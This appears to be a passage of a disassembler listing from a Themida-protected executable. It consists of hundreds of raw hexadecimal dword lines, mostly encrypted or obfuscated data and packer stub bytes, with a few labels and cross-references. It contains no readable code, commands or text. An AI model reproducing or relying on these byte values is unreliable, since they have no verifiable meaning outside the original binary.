dd 7DC3AD46h, 479D41FBh, 14BD5326h, 11AA51E4h, 5C7AECA8h
dd 76601238h, 0E715BE6Eh, 3161624Ch, 2A5A0196h, 0B33BE48Bh
dd 693725BBh, 34419893h, 3C298B61h, 3A69F07Dh, 60DB9h
dd 10A5D600h, 0DA8D47Bh, 8A3D178h, 49DCC73h, 0FC95C86Fh
dd 0F9B4CC67h, 0EF962BC6h, 0E78E23C2h, 0E68D22B5h, 0BD8A1FB6h
dd 57F0614Fh, 243B4399h, 8A820A52h, 7D9706F4h, 0BDE479Dh
dd 99CCC75h, 0A9DCD74h, 19CCB74h, 0BED7C15Ah, 0FF958D15h
dd 92E98711h, 59EFC241h, 0CBF780B0h, 0FA9D5A64h, 1CBDE491h
dd 0A53BDC75h, 949607F5h, 0EE13D8Eh, 46761D24h, 0D75F08AFh
dd 74A049DFh, 0AF9932D9h, 930BB9A7h, 3D63B8Dh, 7023C52Dh
dd 4DCEFDEEh, 57Ah, 0DE731243h, 0D76C0B37h, 0D2670230h
dd 0CC61FC2Bh, 0CA5FF225h, 295C172Fh, 2F5C0398h, 285A0196h
dd 2151F88Dh, 0B624F186h, 995857C8h, 0B98BA243h, 0D369FC2Ch
dd 0B960FD2Ah, 0F2CC3D2Bh, 441749A3h, 12A0B9A3h, 0ECFB8A8Fh
dd 70A031E6h, 494A34D5h, 20E97E19h, 1C0AA098h, 47A2C572h
dd 25B35A2Dh, 65D2E1A2h, 2D17C77Fh, 9CD27AE7h, 7AC4A743h
dd 0B5DC6174h, 507B1Fh, 25DF0000h, 0CBB5507Ch, 922820A8h
dd 0A30122A4h, 0E6B24D47h, 378E52EAh, 0D7E6C02h, 58439CC6h
dd 0A54EE485h, 5947DD78h, 439CC5E8h, 5D766033h, 0C0311FCFh
dd 4439CC5h, 0FD963DD8h, 72B8A275h, 439CC505h, 0FFC14F32h
dd 1FB5ECD6h, 0AB04h, 0FC2C6800h, 83BC269h, 0F3FC66Dh
dd 21C25B8Ah, 24C3F37Ah, 0C38E18Fh, 83418771h, 2049A3EFh
dd 0C6B04777h, 6D0295C5h, 58FF96C6h, 992F27AFh, 781140E9h
dd 0CF5A488Eh
dd 0E4A547A2h, 0E57A1BB6h, 69C941Ch, 95218818h, 0EB18C141h
dd 2812AB52h, 1CC55B2Eh, 19C258E9h, 0CEBC52EDh, 3D93115Dh
dd 0E4EBD5A8h, 0A1770A3Dh, 0F07CA243h, 3FC74877h, 8000004h
dd 2A93ED7h, 0FBA237D6h, 0F69D32CDh, 0F2992EC7h, 0F69126BFh
dd 55F023DEh, 51EC19C0h, 50E315BCh, 51E414BBh, 9381EFBCh
dd 43995622h, 2C84566Dh, 2CD368F9h, 62D469FCh, 0B5507C25h
dd 688B750Eh, 6452E8E0h, 47A300E2h, 0C7933A0Dh, 439CE05Ah
dd 0A59AA487h, 9037CAFCh, 0C7F68EF7h, 8516095Ah, 2F93429Bh
dd 0E6491FB6h, 71000000h, 12FC95C8h, 7BFC2C46h, 770DAE49h
dd 1F099CCEh, 0F14C7F06h, 92AFDDC7h, 6157F4F1h, 0E33096FFh
dd 12A047E8h, 0B04CCE8Fh, 0C157B127h, 0A33062D3h, 0F0DAAD49h
dd 0A32CECAAh, 0C5609049h, 0F6598930h, 0F57ACF7h, 0A198BF26h
dd 27C55DC6h, 7705AC4Dh, 7605A0CEh, 6E07AE47h, 0E1D96184h
dd 756F5D4Bh, 0E7BA47A2h, 0CEFBA452h, 0CFA882Fh, 439C659Bh
dd 887213E6h, 2F0DD65h, 439C6591h, 0D26809DCh, 0EE0A884Fh
dd 1903425Bh, 1E7E2311h, 66394195h, 61F427D0h, 93C66F77h
dd 93C66D02h, 0A0282C02h, 0BBEAF07Ch, 3293Ah, 24C1F200h
dd 21BCE88Fh, 1CB7E58Ch, 18B1E087h, 18A9DC83h, 15D0E883h
dd 13BA4FE2h, 0BB247E6h, 2A93ED9h, 0D19E33D2h, 55047563h
dd 384F4399h, 68F92C66h, 7BFC2CD3h, 7C11B24Dh, 507C250Ah
dd 0BAD0EB5h, 33446B4Eh, 679A29CAh, 0A48E27CEh, 0E50C73A3h
dd 9149856Ch, 0B455F023h, 0B5E56C13h, 0CC6D0834h, 0C75A8D36h
dd 969D8720h, 0D94A38E8h, 2449A330h, 0F392C251h, 66E81A09h
dd 0A050E6DEh, 852CCBF7h, 12BC02ECh, 0CD47A237h, 8CBB64FAh
dd 9435D003h, 716A54EDh, 0C94F6065h, 0F2EA72DFh, 0BEAC6E5Ch
dd 84579D65h, 0B4AC34DDh, 0CEBB301Eh, 3D69759h, 194C46Dh
dd 295C56Ch, 2280222Ch, 60E1104Ah, 262h, 0C65BFA2Bh, 0BF54F31Fh
dd 0BA4FEA18h, 0B449E413h, 0B247DA0Dh, 1144FF17h, 1744EB80h
dd 1042E97Eh, 939E075h, 9E0CD96Eh, 99543FB0h, 0A1738A43h
dd 0D369FC2Ch, 755FFE2Ah, 452BB35Ch, 49DF8013h, 0A2EC6D5Bh
dd 0CFAAA47h, 439CEC9Bh, 6C13B2DFh, 8E784BD3h, 427AF994h
dd 16416EECh, 8232E075h, 9C372394h, 1726043h, 4C439C37h
dd 341EF179h, 7F28B345h, 0A7CAB453h, 0A391271Fh, 419B3DF9h
dd 4E5AE1B4h, 0F10B4F95h, 0F1877F07h, 9EBDBA6Eh, 1600EB18h
dd 0DB4A200Eh, 0A4657F05h, 973EDF72h, 0D86E66EEh, 0F9FB75EAh
dd 27BD9078h, 9CC94E7Eh, 26B6C439h, 8A9526Dh, 0F528D167h
dd 321CB55Ch, 0C154842Bh, 0C2F67FEBh, 93144328h, 192h
dd 0F68B2A5Bh, 0EF84234Fh, 0EA7F1A48h, 0E4791443h, 0E2770A3Dh
dd 41742F47h, 47741BB0h, 407219AEh, 396910A5h, 0CE3C099Eh
dd 99546FE0h, 0D1A3BA43h, 0C269FC2Ch, 3999119h, 0DD78AA53h
dd 123ADF3h, 8B5E47A3h, 249861F6h, 0F184B69Ch, 0E311BA50h
dd 1E08A148h, 0E87E2816h, 6639419Bh, 60F727D0h, 20717D76h
dd 0C2F5077Ch, 0FCAC423Ah, 0A2EB9D0Eh, 2B15E884h, 0EE5F3523h
dd 0A77A82A1h, 0BB948E11h, 0A5B76DB4h, 71F9A2BBh, 80F5E379h
dd 9B7C9559h, 598932C8h, 0CB7B29BEh, 90B96CDDh, 0FAE4B778h
dd 582EC9F9h, 2D7F7DE2h, 0E328A9D8h, 0AC000000h, 0AE55EA7Bh
dd 0A74EE382h, 0A249DE79h, 9E45DA73h, 0AA45DA6Bh, 11A4D792h
dd 0DA8D57Ch, 49FD178h, 0FD98C86Fh, 3F2D9B68h, 439953CEh
dd 2C300219h, 0B04F7BFCh, 28CF7009h, 69FFF77Fh, 0A304297Bh
dd 8C21F447h, 720535DEh, 1DDD6588h, 42713EF1h, 0D583EC33h
dd 0C35BC151h, 0A34CE283h, 0AC33DA75h, 5D47E879h, 0CAFCA555h
dd 61F79037h, 9CB80273h, 907A4D43h, 9643E34Ah, 0A0471A41h
dd 0B94EE919h, 9C43E212h, 0B5398ED0h, 0D462F54Ah, 0F28BBA63h
dd 40D70708h, 44D401AAh, 6F08E556h, 0BC5D3028h, 48137C15h
dd 7DDF2EB2h, 6F161D07h, 6212A83Fh, 6F0C0374h, 917B4E28h
dd 39C2F178h, 24CB6C07h, 78A670B9h, 7118AD48h, 6710A641h
dd 5CF59C3Bh, 0C67D8C6h, 0DFB2286Fh, 35BDCF5h, 0D1000000h
dd 0FB2C7C5Eh, 0C3CC36Ah, 194BD279h, 2350D77Eh, 295CE38Ah
dd 376AF198h, 4170F79Eh, 4C7A01A8h, 57830AB1h, 686711B8h
dd 3314h, 68240489h, 31B9h, 68241C89h, 5D98h, 68241489h
dd 60A9585h, 4EC835Bh, 81242489h, 42404h, 535A0000h, 7E242C81h
dd 8F074F2Eh, 42810842h, 4F2E7E08h, 2434FF07h, 4C4835Ah
dd 5B2434FFh, 4C481h, 0A8E90000h, 34FFFCDCh, 41158113h
dd 929CC49Eh, 86AB764Eh, 0A088B847h, 0C503060Ah, 0AF11E0FFh
dd 11DD6080h, 6EDE3F41h, 0B4A73789h, 4BEB77A1h, 2F0E0910h
dd 4B1AC53Ch, 1CA4ACDAh, 5C5CD2D4h, 34CE00E4h, 0CE1BF531h
dd 0D129B327h, 0C7DD5B34h, 0CE17E62Ah, 6734DF1Bh, 2E00A6DBh
dd 1A0046E1h, 0D5A3EAh, 9C000000h, 0FEC819h, 0FBFE4800h
dd 28000000h, 0D427E641h, 0E9C3727Dh, 0BE7h, 6800Fh, 0BD290000h
dd 607029Dh
dword_576920 dd 19BDBD83h, 0F000607h, 3A85h, 51958B00h, 0B806070Ah
; DATA XREF: Themida_:0053E224o
dd 0
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0DEC35141h
dd 81B83829h, 7C6186EBh, 4C26Ch, 1830Fh, 8BF80000h, 0CDBD83C0h
dd 6071Ah, 0BD830975h, 6071135h, 50137400h, 0B8C08B53h
dd 4D0h, 0AB949D8Dh, 0D3FF0609h, 0BD83585Bh, 6071135h
dd 50117400h, 4D0B853h, 9D8D0000h, 609AAE1h, 585BD3FFh
dd 6ADA8B66h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 16042444h, 40000000h, 34B7C350h, 0CD9D896Fh, 8B060704h
dd 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h
dd 0C3534300h, 9F21B312h, 48858D9Eh, 6A060AA1h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 6F3C356h, 0B96650A9h, 4899548h, 0DE824h, 0F78B0000h
dd 375A5866h, 1AB8B9E9h, 0BB257BF0h, 58A5FE7h, 5858D5Fh
dd 0E9060AA1h, 12h, 0A6190D2Ah, 0AF1F4FE1h, 9EE60716h
dd 44D837C3h, 0BB900CF4h, 69E27779h, 8B525050h, 0E8310FD8h
dd 9, 5D27D830h, 0B04E0433h, 5FB5B6E4h, 0BA90585Ah, 3D4AAA68h
dd 1C195FFh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 160424h, 57470000h, 6285DC3h, 1F9B529h, 448B0607h, 95090424h
dd 6070A51h, 0A1308589h, 8B66060Ah, 24448BF8h, 89D08B08h
dd 0AA14485h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1804h, 0C3554500h, 0B737387Eh, 898D230Dh, 83060732h
dd 704EDBDh, 850F0006h, 66h, 0BA2105BFh, 0CD85C61Fh, 47060709h
dd 6E9h, 3384FC00h, 68D3DF9Dh, 9F05A999h, 81F98B66h, 0E4B2434h
dd 11E94B9Fh, 6A000000h, 3A10F24Dh, 4D1EA6ACh, 0B3D917DEh
dd 5D6D2316h, 0B5FFCE8Bh, 6070D99h, 2B519D8Bh, 858D0607h
dd 60A7038h, 0D0FFC88Ah, 0F5BD8Bh, 85890607h, 60704EDh
dd 1AF5BD89h, 0BD830607h, 6070DBDh, 82850F00h, 8B000000h
dd 72E55BDh, 0CD85C606h, 47060709h, 6AFCBF66h, 9D876268h
dd 187EBFAFh, 34815C32h, 92328024h, 4820F25h, 66000000h
dd 0FF5151BBh, 70D99B5h, 858DF906h, 60A7038h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0D4C35343h, 7B50C8E9h
dd 66D0FF45h, 8204E281h, 0DBD8589h, 14E80607h, 53000000h
dd 1075830Bh, 6D910527h, 0A5B41433h, 3AF8680Eh, 0F9E478C4h
dd 0E5BD835Ah, 6072Bh, 0EA850Fh, 9D8B0000h, 6071119h, 9CD85C6h
dd 6A560607h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1A042444h, 42000000h, 2C59C352h, 0CDC7667Ch, 68DA8B3Eh
dd 9A209627h, 3481A2B5h, 3FFB1E24h, 50006A4Eh, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1704h, 0C3504000h, 3C5482FCh
dd 0BE8h, 546E8C00h, 1CEEC6F8h, 92DA1C8Dh, 758D8B60h, 81060700h
dd 0F8B730C7h, 665B6145h, 0BD8BCF8Bh, 6071F1Dh, 0D99B5FFh
dd 8B500607h, 725ED95h, 0C5BB5A06h, 8D1DC71Bh, 0A703885h
dd 0C2816606h, 0D0FF994Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 19h, 0F2C35545h, 0FFB04F2Ch, 5E86070h, 46000000h
dd 902052B7h, 0BB57D881h, 0B8587638h, 112B4516h, 0E5858961h
dd 0BB06072Bh, 4E473070h, 9CD85C6h, 686C0607h, 0D4F75755h
dd 3481DA8Bh, 0F227D624h, 99BD2B0Fh, 0FF06072Ch, 7059DB5h
dd 8DDA8A06h, 7396385h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1C04h, 0C3574700h, 40C18CBFh, 0A14BEAE5h
dd 8D958B11h, 0FF060722h, 0AD9531D0h, 89060722h, 0AA13485h
dd 0F9B58906h, 6A06071Eh, 52006A04h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 958B0D88h
dd 6071FC5h, 0C0E14968h, 10E96Eh, 0E7540000h, 552BB12Fh
dd 59C8D9Ch, 93BB7F78h, 34819CCCh, 0C0F14924h, 57006A6Eh
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
dd 0ED7D1D30h, 858949F8h, 6071B49h, 9CAAC368h, 9CFABF13h
dd 34810771h, 9DAAC324h, 18E0F13h, 0FC000000h, 958B006Ah
dd 6073299h, 0F9995FFh, 958B0607h, 6072E69h, 0A1408589h
dd 0D8B9060Ah, 6A5BA105h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0D08B6640h
dd 4E8h, 1000000h, 50BDB600h, 2407B966h, 424448Bh, 0AE950h
dd 9F450000h, 54C19852h, 66265235h, 66008B5Ah, 896FD3BAh
dd 66042444h, 581B89BBh, 7E9h, 895F7100h, 988D6074h, 50DA8B90h
dd 33904AB7h, 71A1D9Dh, 6A0B6A06h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0EB4EC351h
dd 4C23A7A7h, 81666BC2h, 8DC587EBh, 0AA10D85h, 0D98B6606h
dd 14E96050h, 32000000h, 0C348CBB4h, 7B6F82B9h, 3DD11Ah
dd 0C3B78D99h, 0E8850DDEh, 13h, 2E9ECBB2h, 2AE61B9Eh, 0EECDF718h
dd 3E2A14D9h, 0B0EB0854h, 89615EF3h, 6A2404h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 190424h, 51410000h, 3E69D4C3h
dd 234CA399h, 7028595h, 0ED95FF06h, 6A060704h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
dd 80E0C351h, 0B58DC4DEh, 60AA117h, 68F0Fh, 9D8B0000h
dd 60725FDh, 89FD8A50h, 0B9662434h, 0E890A190h, 9, 51CB2B9Fh
dd 470ECA52h, 2820FB7h, 60000000h, 66505A61h, 0E990CB8Bh
dd 0Eh, 3B7D8BDEh, 975F9F68h, 7555DA71h, 95FF6652h, 6070DBDh
dd 0FC53D0FFh, 40B58B59h, 29060AA1h, 7140D8Dh, 3885C706h
dd 60AA1h, 89000000h, 72C91BDh, 207E8006h, 9840F00h, 89000003h
dd 7213985h, 5B536006h, 8DDFBF0Fh, 5CB52046h, 2800Fh, 14B10000h
dd 0A13C8589h, 9D89060Ah, 6070E05h, 28E9h, 75952B00h, 40060711h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0ADC35141h
dd 0FBD5C56h, 388083h, 0FFD5850Fh, 9589FFFFh, 6071389h
dd 34E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1A04h, 0C3514100h, 7354D72Dh, 5265174Ah, 68A0Fh, 95890000h
dd 6071921h, 0F580485Ah, 5C388079h, 36840Fh, 0B5890000h
dd 6070EA5h, 0F2F3880h, 2784h, 9E900h, 25F0000h, 0FEFC23D7h
dd 0B5D3D87Ch, 3C853B6Fh, 0F060AA1h, 0FFFFC883h, 16B3B9FFh
dd 0E781561Ch, 5016F390h, 0BD83F540h, 60AA144h, 0D3840F00h
dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 14042444h, 47000000h, 81DDC357h, 0D18E8AEAh, 15BD013Ch
dd 50060728h, 7E85660h, 0E8000000h, 6DE4616Fh, 5E58F4C8h
dd 0CE9h, 0FEB5D600h, 0FDC5E9FBh, 97CD9657h, 48961CFh
dd 1890F24h, 0F5000000h, 0A1448503h, 6A060Ah, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0DBD9AFC3h
dd 0DE8ACE31h, 6A0000C6h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1C042444h, 43000000h, 9F75C353h, 0A3636582h
dd 5809F69Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 15h, 0DC35545h
dd 0CE906h, 22270000h, 6F953C02h, 0C45185D4h, 50902109h
dd 0FE952h, 0ACE40000h, 8B00BF28h, 590DEA6Fh, 0CDBF0BBFh
dd 66310F26h, 5AA4C9B9h, 29B75058h, 9CEA8190h, 81724A1Eh
dd 16B356CAh, 30B5FF7Dh, 6A060AA1h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0FB0C351h
dd 68Eh, 0E19D8B00h, 0FF060725h, 0AA13495h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
dd 8642D75Bh, 0BE3E3448h, 0DE86057h, 76000000h, 0BB68F7CDh
dd 0A214911Ah, 0B8E48B0h, 7E8BF281h, 0F5F616Ch, 0B61F2BFh
dd 60850FC0h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1A042444h, 47000000h, 0C1C9C357h, 4622C31Bh
dd 6A6101h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
dd 57470000h, 465872C3h, 0E20C1C1Fh, 8540C8BBh, 3885C71Eh
dd 1060AA1h, 89000000h, 70C118Dh, 42E906h, 61F80000h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0ACC35545h, 3A4EAE01h
dd 319454FAh, 1CC68151h, 50000001h, 9E9h, 891F1900h, 112A4934h
dd 0E95AAF1Ah, 0FFFFFCEDh, 0B60EB868h, 0D38B6615h, 0B8243481h
dd 0E815B68Eh, 6, 46B815EEh, 858936FFh, 6072869h, 227EBA5Fh
dd 6A551Ah, 1EC98D8Bh, 0B5FF0607h, 60AA140h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 7EC35545h, 79DBE17Ah
dd 0ADE21A12h, 0AE9h, 102AAE00h, 3672A082h, 0FFBB5D9Fh
dd 72BE595h, 0DE906h, 0B46D0000h, 4528A29Ch, 268F0344h
dd 8BEAE259h, 0AA13885h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1404h, 0C3524200h, 0C59D3165h, 5006070Eh
dd 75BB6653h, 4895905h, 50006A24h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1704h, 0C3504000h, 0F6B21B0Ah, 0C8B0Fh, 820F0000h
dd 6, 0AC18529h, 85010607h, 6073341h, 0A148858Dh, 6A060Ah
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
dd 0C3803DC3h, 52505092h, 0BADEF8BAh, 50310F3Ch, 870F52h
dd 0F000000h, 12E931h, 0B2C90000h, 0F1B0DCCh, 8DB7B791h
dd 0D885A515h, 11222462h, 585A585Ah, 29240489h, 7069185h
dd 5858D06h, 6A060AA1h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1A042444h, 47000000h, 4304C357h, 0FA729CA4h
dd 259D035Ch, 90060707h, 0FD84B966h, 73BF6650h, 6A9005h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 3F499C3h, 0A98D8B7Fh, 0FF060702h, 7069595h, 3870F06h
dd 66000000h, 0C08BF98Bh, 7E9h, 7AB4E300h, 0A312185Fh
dd 1ACDBD83h, 75000607h, 35BD8309h, 60711h, 53501374h
dd 0D0B8C08Bh, 8D000004h, 9ABFB9Dh, 5BD3FF06h, 35BD8358h
dd 60711h, 53501174h, 4D0B8h, 0FA9D8D00h, 0FF0609AAh, 6A585BD3h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h
dd 41000000h, 2264C351h, 89FE8BD1h, 70A5D9Dh, 6AC08B06h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h
dd 41000000h, 0EDECC351h, 0DDDB0591h, 8BC44E90h, 70481BDh
dd 8D8B5806h, 60729DDh, 8C2C88Ah, 97BFF500h, 8B5C5B03h
dd 44BF66C0h, 61858DDCh, 8B060AA1h, 70ECD9Dh, 65858906h
dd 0E906071Ah, 75h, 0D88C6660h, 840F04A8h, 35h, 0B5FF016Ah
dd 607059Dh, 7038858Dh, 0D0FF060Ah, 6F98589h, 0FE8B0607h
dd 680CEFC1h, 20040000h, 26A006Ah, 0D6857h, 95FF0001h
dd 60706F9h, 32E9h, 0CD85C600h, 56060709h, 0C530DF68h
dd 99B5FFA9h, 8D06070Dh, 0A703885h, 89D0FF06h, 7084D85h
dd 91858D06h, 50060712h, 56A206Ah, 4D95FF56h, 61060708h
dd 6E0C1C3h, 39EBh, 2CC00BFh, 2E400BFh, 0BFh, 0A3F00000h
dd 0AF0546C2h, 0A74877DBh, 0A3E723CAh, 0E4254EC1h, 0CA484FCBh
dd 865677E1h
db 0E3h, 23h
word_5775BE dw 0BE47h ; DATA XREF: Themida_:0053CD08o
dd 0A4E153E0h, 0AF304BFBh, 0AA2147CEh, 0CA903747h, 0CC428BAFh
dd 3A9DD2BDh, 0E4A9EF6Fh, 3155B71Eh, 0A8A81408h, 33D7A85Fh
dd 902724ADh, 0CAFAE324h, 0CA4BCBFFh, 920423AFh, 8E9B7B6Ch
dd 8E88278Bh, 0CA93278Bh, 9A0223AFh, 0DE85186Ch, 72DA098h
dd 0CA4E24B5h, 77A72ADAh, 0CC15329Ah, 9A1057AFh, 7244A8FCh
dd 0CA422716h, 0D55CA626h, 571D25A8h, 0CC418E6Fh, 927FF050h
dd 0DB279E2Ch, 0BE0925A8h, 72D773B8h, 0CA422716h, 0D55CA626h
dd 571D25A8h, 0CC418900h, 927FF050h, 0C0A39686h, 0C7E125A8h
dd 0DA8423AFh, 1DD38CDFh, 165CD107h, 0F71B3D13h, 0CA482F46h
dd 7873DAAFh, 0EB758ED5h, 30C21D24h, 0A0F7D34h, 221723C5h
dd 0CA2123ACh, 97537E8Fh, 0CE6C4F26h, 0CE00672Eh, 0CA1223B8h
dd 81CA76EAh, 0F9EEAE65h, 0CD421E3Ah, 7A4E5A9h, 9C9624A6h
dd 221B23C5h, 0CA2423ACh, 91D1788Fh, 0CE2D7F26h, 0CEA0672Eh
dd 0CA4223B9h, 0CCE270ECh, 43F0A259h, 0CD57FE2Ah, 0EFDA2A9h
dd 0AB0C69E2h, 0CA092747h, 623C71AFh, 0CA4BCB33h, 930D23AFh
dd 0AB141917h, 0AC55E2DCh, 95361C16h, 0C69C2CFFh, 0C50923AFh
dd 0CA84252Bh, 0C51073AFh, 4179799Eh, 229407EBh, 0CA4823A5h
dd 3F36A1F5h, 0C83495D5h, 0C3E17CB7h, 478423AFh, 379A950Bh
dd 0F21F8563h, 94CAA31Eh, 71282324h, 0F3DFB37Fh, 9B099CC9h
dd 0EE4DAACEh, 0CAEE7BABh, 0CA41CBFAh, 970123AFh, 0A6197E6Ch
dd 8EC9278Bh, 0CA38278Bh, 9F5723AFh, 6FED7A6Ch, 0FB254851h
dd 0CCAB147Bh, 522123AFh, 0E80C1719h, 30C345B6h, 0C7BD9650h
dd 7F9925A8h, 0CC0E01DEh, 0DA3D969Ch, 4FCF25A8h, 0CC2B5397h
dd 1303E22Eh, 1AB7470Ch, 0E469AE26h, 0CE7825A8h, 225923C5h
dd 0CA8423ACh, 92817B8Fh, 0CE056726h, 0CEB4672Eh, 0CA4823B3h
dd 0BCE773EFh, 11F0D384h, 3CC889CFh, 0CA80CB53h, 0DA4223AFh
dd 987123AFh, 1B1B45CFh, 0C5297BF8h, 939A459Eh, 9A4A7917h
dd 416971FFh, 0FB8B425Fh, 8EC97BF5h, 0C5C9278Bh, 9D9023AFh
dd 1695CCD2h, 7A7838B3h, 0DA7E868Dh, 4158277Bh, 41DA7964h
dd 0CA4ECBAFh, 0BE8F23AFh, 23E14780h, 7FC10D8Ch, 989687E8h
dd 0EE56AAF1h, 48245ABh, 998449F7h, 0CA422047h, 97A03AFh
dd 0EECCAAF4h, 0EE0CA2ABh, 0CA2435ABh, 94160AFh, 412A0858h
dd 6E8C4B54h, 0DAAA8676h, 962123AFh, 0BA846CFFh, 4A075FCCh
dd 7DD2F765h, 7320AE2Dh, 0A78974DBh, 0EE80A2F6h, 90647D4Bh
dd 0AA23C5h, 0C478F350h, 0C04823AFh, 4DB61402h, 35884B3Fh
dd 1B3DB295h, 0D709A898h, 934424AAh, 0CA212846h, 5ECEB5AFh
dd 0E9D297ECh, 1B52A77Eh, 67C1A626h, 41FC25A5h, 0C8482657h
dd 4FCB23AFh, 0CC2B8E78h, 4388E32Ch, 0C0E5F82Ah, 73E410A9h
dd 0CA122143h, 0CA63895Ch, 0CA87CBFEh, 936223AFh, 86A87A6Ch
dd 8E11278Bh, 0CA5E278Bh, 9B6523AFh, 0A4BDC46Ch, 0E5D49624h
dd 0CAEE25A8h, 0CA41CBF8h, 950123AFh, 0B6197C6Ch, 8EC9278Bh
dd 0CA33278Bh, 9D5523AFh, 0E05E026Ch, 10F45B0h, 0C38FA669h
dd 416225A8h, 4B25AA56h, 224E24ABh, 0CA2423ABh, 567548F1h
dd 0BF707B16h, 41E273D7h, 0EE06A861h, 0CEA02CABh, 0AC9023AFh
dd 4172AC11h, 0CA29CAAFh, 43AC23AFh, 1DD6E20Ah, 9E0D5CB9h
dd 43C95412h, 742507EBh, 0A068BDC0h, 9C4849F7h, 0CA242047h
dd 94C03AFh, 0EE7DAAF1h, 0EEC0A2ABh, 0CA423EABh, 97765AFh
dd 0EB1E5D73h, 0E668FD43h, 752B3C3Ah, 6B9F0A58h, 350F2487h
dd 0CD89BA1Ah, 9C4249A9h, 0CA212047h, 9CE03AFh, 0EE3CAAF1h
dd 0EE60A2ABh, 0CA123BABh, 95F65AFh, 5DC54F4Bh, 0F2C7AEDCh
dd 232729DFh, 0CA9023A8h, 9E5572B3h, 351B40CEh, 2B87AA7Fh
dd 430F24B6h, 0CD839A2Ah, 0C1AB43A9h, 842123AFh, 1217A9CDh
dd 392C82DBh, 0DACCEF87h, 961223AFh, 11D1D74Fh, 0ACB52009h
dd 8C83B90Dh, 92565AC9h, 0BF15AECEh, 9C4E2481h, 0E411A626h
dd 0AC4825A8h, 436FF710h, 0CD9A1E2Ah, 20B0A2A9h, 0C63A0CDh
dd 0CD99EE2Ah, 742070A9h, 73F91F42h, 0DC7D7A81h, 0AC2D172Eh
dd 0A0A5AE0Ah, 0C9AA76AFh, 0EA2123AFh, 43CDE0F2h, 4B4C07C3h
dd 0DD2007EBh, 8F1223AFh, 8245E0FAh, 470FD625h, 0CC452382h
dd 0C7B89650h, 4BF625A8h, 47D50C75h, 0C0541B2Ah, 399945A9h
dd 0CA63F350h, 0CA87CBFDh, 906223AFh, 9EA8796Ch, 8E11278Bh
dd 0CA50278Bh, 986623AFh, 19E99B6Ch, 4F805E8Bh, 0CC832EC6h
dd 0C38FA669h, 237225A8h, 0CA9023BFh, 733F08A4h, 6941E161h
dd 0F7C07717h, 9CA38CECh, 9E7555C7h, 4B59966Ch, 0FFE4079Bh
dd 0CAFA38E3h, 0CA4BCBFDh, 900423AFh, 9E9B796Ch, 8E88278Bh
dd 0CA9F278Bh, 980023AFh, 3577ED6Ch, 0C50D0029h, 7E91A2CCh
dd 4375978Bh, 0CD3B4E3Ah, 53BCDCA9h, 418224A2h, 0CD5CDA1Ah
dd 0F2A4AEA9h, 0A09629DFh, 0C9A075AFh, 0EA2423AFh, 434CE0F1h
dd 4B0D07DBh, 0D68007EBh, 8C4223AFh, 5754E0F9h, 9CE0C28Eh
dd 0E3213C16h, 0CD2FB212h, 6797AAA9h, 350F24B7h, 9A84497Fh
dd 0CA422047h, 97903AFh, 0EED4AAF7h, 0EE0CA2ABh, 0CA2435ABh
dd 94263AFh, 7B6F3EF4h, 0E301AA4Dh, 0A044248Eh, 0C9C972AFh
dd 0EA9023AFh, 4311E0F6h, 4B2007E3h, 0D01607EBh, 8B0923AFh
dd 11E5E0FEh, 2AC96056h, 7A4E5A2h, 8D9624A6h, 0EF9DAE26h
dd 0CECC25A8h, 631223AFh, 0AABEFD72h, 0CA87AFA0h, 412423AFh
dd 9A714271h, 0D6D99C9h, 0EE0CA8F5h, 3DAF45ABh, 471D2324h
dd 0CA0923ABh, 0AB42A8CFh, 0CE666726h, 0FB79D324h, 0CD8B3A2Ah
dd 0EBF522A9h, 3522248Fh, 0CD1FBA1Ah, 4F84DBA9h, 0CC8E5397h
dd 0CA44A6A0h, 571023AFh, 0CC970386h, 0CA22F350h, 0CA27CBFCh
dd 913223AFh, 9680786Ch, 8E05278Bh, 0CA5F278Bh, 996223AFh
dd 2B12206Ch, 0DC2F9FBCh, 0AC64B020h, 0D6BF42Eh, 0D578A626h
